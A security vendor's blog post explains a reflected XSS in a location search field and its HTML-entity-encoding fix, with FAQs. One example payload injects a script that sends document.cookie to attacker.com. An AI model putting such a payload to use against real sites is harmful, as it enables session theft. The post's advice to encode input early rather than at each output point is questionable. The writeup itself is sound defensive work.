Back to Blog
high SEVERITY4 min read

Location Search XSS in index.html: Unsanitized Query Rendering

A location search feature in index.html rendered user-supplied search queries directly into the DOM without HTML entity encoding, allowing attackers to inject malicious JavaScript. The fix adds output encoding that converts dangerous characters (`&`, `<`, `>`, `"`, `'`) to their HTML entity equivalents before the query string reaches the page.

O
By Orbis AppSec
•Technically reviewed by Anupam Mediratta•Published October 1, 2026•Reviewed October 1, 2026

Answer Summary

The location search functionality in index.html (line 282) accepts user input through the search field and passes it to `searchItem.query()` without validation. An attacker can inject JavaScript that executes in a victim's browser when search results display the unsanitized query term or matching location names. The fix applies HTML entity encoding to the location parameter before it is rendered, converting metacharacters to safe entity references. CWE-79 (Improper Neutralization of Input During Web Page Generation).

Vulnerability at a Glance

cweCWE-79 (Improper Neutralization of Input During Web Page Generation)
fixReplace metacharacters with HTML entity equivalents before passing to search function
riskArbitrary JavaScript execution in victim's browser context with access to session cookies, local storage, and DOM
languageJavaScript / HTML
root causeUser-supplied location search query inserted into DOM without HTML entity encoding
vulnerabilityCross-Site Scripting (XSS) - Reflected

Search Input Rendered Without Encoding: A Reflected XSS in Location Search

A high-severity cross-site scripting (XSS) vulnerability existed in the location search feature of index.html, where user-supplied search queries were rendered into the page's DOM without HTML entity encoding. By injecting metacharacters into the search field, an attacker could break out of the intended text context and execute arbitrary JavaScript in a victim's browser.

Affected N/A (first-party code)
Fixed in N/A (patch applied at line 282)
Ecosystem N/A
CVE / GHSA not assigned
CWE CWE-79 (Improper Neutralization of Input During Web Page Generation)

How the Vulnerability Worked

The location search functionality accepts user input through a search field and passes it directly to searchItem.query(). The critical issue was that if search results display the original query term (a common UX pattern to confirm what was searched), that term was inserted into the DOM without sanitization.

The vulnerable code path looked like this:

onCallback:function(){
    var location = $location.val();
    if(location){
        result = searchItem.query(location);
        // results rendered with location variable unsanitized

An attacker could enter a payload like:

"><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script><span class="

When the search results page rendered "You searched for: "><script>…", the injected script would execute in the victim's browser, potentially stealing session cookies, redirecting to a phishing page, or modifying page content.

Why This Matters

Search functionality is often the entry point to an application—it's one of the first things users interact with. Because search queries are frequently echoed back in results pages ("Did you mean X?", "0 results for X"), they represent a natural XSS vector. A reflected XSS in search can be weaponized through a crafted URL shared in chat, email, or social media, making it trivial to deliver to a broad audience without any server-side compromise.

The Fix: HTML Entity Encoding

The fix applies proper output encoding by replacing dangerous characters with their HTML entity equivalents before the location variable is passed to searchItem.query():

onCallback:function(){
    var location = $location.val();
    if(location){
        location = location.replace(/[&<>"']/g,function(c){
            return {'&':'&amp;','<':'&lt;','>':'&gt;','"':'&quot;',"'":'&#39;'}[c];
        });
        result = searchItem.query(location);

This encoding layer ensures that even if an attacker submits metacharacters, they are rendered as visible text rather than interpreted as HTML or JavaScript:

  • < becomes &lt; (displayed as <, no tag interpretation)
  • > becomes &gt; (displayed as >, no tag interpretation)
  • & becomes &amp; (prevents entity-based bypasses)
  • " becomes &quot; (prevents breakout from HTML attributes)
  • ' becomes &#39; (prevents breakout from single-quoted attributes)

Now if the search results page renders "You searched for: &quot;&gt;&lt;script&gt;…", the browser displays those characters literally and no script executes.

Why This Specific Fix Works

The encoding is applied before the search query is processed, ensuring the sanitized value is what gets stored, passed to the backend search function, and ultimately displayed. This "sanitize at the source" approach is more robust than trying to encode output at multiple render points—a single encoding layer catches all downstream uses.

The character set (&<>"') covers both HTML tag/entity context and quoted-attribute context. Because the location variable could theoretically appear in multiple places on the results page (in text, in HTML attributes, in data attributes), encoding for the union of all contexts is the safest choice.

Key Takeaways

  • User input destined for the DOM must be encoded unless it has been strictly validated against a whitelist. A search query is inherently freeform text; encoding is the only reliable defense.

  • Echoing back user input is dangerous. If you display "You searched for: {query}", encode that query. The same applies to error messages, suggestions, and confirmation text.

  • The encoding must happen early in the data flow. Encode at the point where untrusted data enters your application logic, not later when rendering. This prevents accidental use of the raw value elsewhere.

  • Character-level encoding is more reliable than context-specific filters. A simple replace of five metacharacters is less error-prone than trying to parse syntax and block specific payloads like <script>.

How Orbis AppSec Detected This

Source: The location variable, populated from user input via the search field ($location.val())

Sink: The searchItem.query() function, which processes the location parameter; downstream rendering of search results may echo this value into the DOM

Missing control: No HTML entity encoding or validation of the location parameter before it is used in a context where special characters have meaning

CWE: CWE-79 — Improper Neutralization of Input During Web Page Generation

Fix: Apply a character-level HTML entity encoding function to replace &, <, >, ", and ' with their entity equivalents before passing the location variable to searchItem.query()

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

Reflected XSS vulnerabilities in search are among the easiest to exploit at scale because they live on high-traffic URLs and are trivial to weaponize through shared links. This fix—a simple character replacement—eliminates the attack surface entirely by ensuring user input is rendered as text, not as executable code or markup. For any application that displays user input back to users, output encoding is a foundational control that should be applied consistently across all such points.

Prevention and further reading

Frequently Asked Questions

What characters does the fix encode, and why are all of them necessary?

The fix encodes `&`, `<`, `>`, `"`, and `'`. The first three prevent HTML/XML injection, while the quotes prevent breakout from HTML attributes. In this context, all five are dangerous because the search query can appear both in text nodes (where `<>` matter) and in attribute values (where quotes matter).

If the location search only displays location names matched from a server-side database, how is this still exploitable?

If the search results page echoes back the user's original search query for UX purposes—like "You searched for: {query}"—an attacker can inject a payload that executes even though the matched locations themselves are safe. This pattern is extremely common in search UIs.

Does this fix alone prevent all XSS on the search results page, or are there other injection points?

This fix secures the query parameter specifically, but the matched location names themselves must also be HTML-encoded if they come from untrusted sources or user-generated data. The fix is necessary but not necessarily sufficient for the entire results page.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #87

Related Articles

high

formatObject() Leaves localStorage Keys Unescaped Before innerHTML

The `formatObject()` pretty-printer used to build the key-configuration storage viewer interpolated object keys and array key/value pairs directly into an HTML string that is later assigned with `innerHTML`. Only string *values* were passed through `escapeHtml()`, so a crafted key name persisted in `localStorage` could execute script every time a user opened the storage viewer. The fix wraps the index-pair branch and the object-key branch in `escapeHtml()`, keeping the raw path only for non-colo

high

Voice Assistant Widget XSS: Unsanitized Bot Messages Execute in

The voice assistant widget's `appendMessage` function had a critical cross-site scripting (XSS) vulnerability where bot messages were inserted directly into the DOM without sanitization, while user messages were escaped. An attacker controlling bot responses could inject and execute arbitrary JavaScript in the user's browser context. The fix applies HTML escaping to all message types uniformly.

critical

navbar.html Injection via innerHTML in loadNavbar.js

An Electron app's `loadNavbar.js` fetched `navbar.html` and wrote the response straight into `innerHTML`, so any script tags or event-handler attributes in that file would execute in the renderer. The fix adds a `sanitizeNavbarHtml` routine that parses the markup with `DOMParser` and strips `<script>` tags, `on*` attributes, and `srcdoc` before the content is injected into the DOM.

critical

addSourceInput() javascript: URL Injection in Source List Handler

The `addSourceInput()` function in the application's source list handler was assigning user-provided URLs directly to input elements without protocol validation, allowing `javascript:` URLs to persist and execute. A new `isSafeSourceUrl()` helper now restricts values to HTTP/HTTPS protocols or empty strings.

critical

getCheckboxString() HTML Injection via MIDI Metadata

The `getCheckboxString` helper built checkbox markup by interpolating MIDI instrument and program names directly into an HTML template string, which was then parsed with `DOMParser` and injected via `replaceChildren()`. A crafted MIDI file could smuggle an HTML/JS payload through its instrument metadata and have it rendered as live DOM, including inline event handlers. The fix adds a dedicated `escapeHtml()` function and routes both parameters through it before the markup is built.

high

adm-zip 0.6.0 Preserves SUID Bits From ZIPs: CVE-2026-102282

The `adm-zip` dependency resolved to 0.6.0 in this project's dependency tree, a version affected by CVE-2026-102282: during extraction it applies the Unix permission bits stored in each ZIP entry's external file attributes verbatim, including the setuid (`04000`), setgid (`02000`), and sticky bits. An attacker who controls an archive passed to `extractAllTo()` or `extractEntryTo()` can therefore have the extractor create a setuid binary owned by whatever user the extraction process runs as. The